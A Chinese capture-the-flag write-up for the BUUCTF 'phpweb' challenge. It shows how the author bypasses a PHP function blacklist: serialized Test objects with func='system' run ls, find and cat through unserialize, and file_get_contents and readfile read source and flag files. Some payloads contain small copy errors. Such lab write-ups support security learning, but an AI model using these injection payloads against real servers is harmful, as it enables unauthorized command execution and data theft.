BUUCTF—[网鼎杯 2020 朱雀组]phpweb

news/2024/10/17 14:27:42/

题解

打开题目是这样子的。

啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。

那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。

func=system&p=ls

直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。

func=file_get_contents&p=index.php

但是它没有禁用反序列化函数,那么我们只要实现构造出要执行的命令,然后序列化。再调用反序列化函数将其还原,且执行命令不就行了吗。从源代码不难看出传参的是这一部分代码,我们照葫芦画瓢,对其进行序列化。

class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}

运行下面代码。

<?php
class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

得到序列化后的数据。

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

执行成功,返回当前目录下面的文件。

直接查到flag在哪里,发现 /tmp/flagoefiu4r93这个文件比较可以,估计是这个啦。

O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

直接查看这个文件,但是这里我是cat /tmp/flagoefiu4r93,不知道为啥不行,有知道的大佬可以指点一下。

O:4:"Test":2:{s:1:"p";s:23:"cat /tmp/flagoefiu4r93'";s:4:"func";s:6:"system";}

用这个readfile函数读取,这个是PHP自带的函数,成功读取。

func=readfile&p=/tmp/flagoefiu4r93

总结

主要涉及的知识是反序列的运用,要懂得构造出序列化的数据,还得想到用file_get_contents函数读取源码。


http://www.ppmy.cn/news/1521252.html

相关文章

SpringBoot 的注解原理,及自定义注解

JAVA 注解原理 在 Java 项目编译后&#xff0c;注解会以特定的方式存储在 .class 文件中&#xff0c;并可以在运行时通过反射机制进行解析和处理。以下是关于注解在编译后如何存在、以及在运行时如何解析和处理的详细解释&#xff1a; 1. 注解的存储方式 Java 的注解可以有不…

【在Unity完成三维场景多人在线同时操作的实现方式】

在 Unity 中实现三维场景多人在线同时操作可以通过以下方式&#xff1a; 一、网络架构选择 客户端 / 服务器&#xff08;C/S&#xff09;架构 服务器负责管理游戏状态和处理玩家输入&#xff0c;确保所有客户端保持同步。 客户端负责渲染游戏场景和接收服务器的状态更新&…

算法——支持向量机(support vector machines,SVM)

简介&#xff1a;个人学习分享&#xff0c;如有错误&#xff0c;欢迎批评指正 支持向量机&#xff08;Support Vector Machine, SVM&#xff09;是一种监督学习算法&#xff0c;广泛用于分类任务&#xff0c;也可以用于回归和异常检测等问题。SVM的核心思想是通过在特征空间中找…

【Python机器学习】NLP词频背后的含义——隐性狄利克雷分布(LDiA)

目录 LDiA思想 基于LDiA主题模型的短消息语义分析 LDiALDA垃圾消息过滤器 更公平的对比&#xff1a;32个LDiA主题 对于大多数主题建模、语义搜索或基于内容的推荐引擎来说&#xff0c;LSA应该是首选方法。它的数学机理直观、有效&#xff0c;它会产生一个线性变换&#xff…

Mysql5.6.51修改密码

文章目录 1 修改用户密码 1 修改用户密码 SET PASSWORD FOR ‘root’‘localhost’ PASSWORD(‘xxxx#’); SET PASSWORD FOR ‘root’‘%’ PASSWORD(‘xxxxx#’); FLUSH PRIVILEGES;

macos 系统 降级, 重装, 升级图文教程

最近一不小心mac被升级到了最新版本, 在使用vscode的时候经常卡顿,于是有了降级macos的想法! 于是就有了这macos的系统降级 , 重装, 升级图文教程. 本文重点介绍macos降级, 重装过程, 至于升级, 这个一不小心就会被升级(通过应用商店)基本上都是自动升级的,所以不做更多说明. …

2. Fabric 简介

1. 介绍 Fabric.js —一个功能强大的Javascript库&#xff0c;使使用HTML5 canvas的工作变得轻而易举。 Fabric提供了画布缺少的对象模型&#xff0c;以及SVG解析器&#xff0c;交互性层和一整套其他必不可少的工具。这是一个完全开放源代码的项目&#xff0c;已获得麻省理工学…

网络层 III(划分子网和构造超网)【★★★★★★】

&#xff08;★★&#xff09;代表非常重要的知识点&#xff0c;&#xff08;★&#xff09;代表重要的知识点。 一、网络层转发分组的过程 分组转发都是基于目的主机所在网络的&#xff0c;这是因为互联网上的网络数远小于主机数&#xff0c;这样可以极大地压缩转发表的大小。…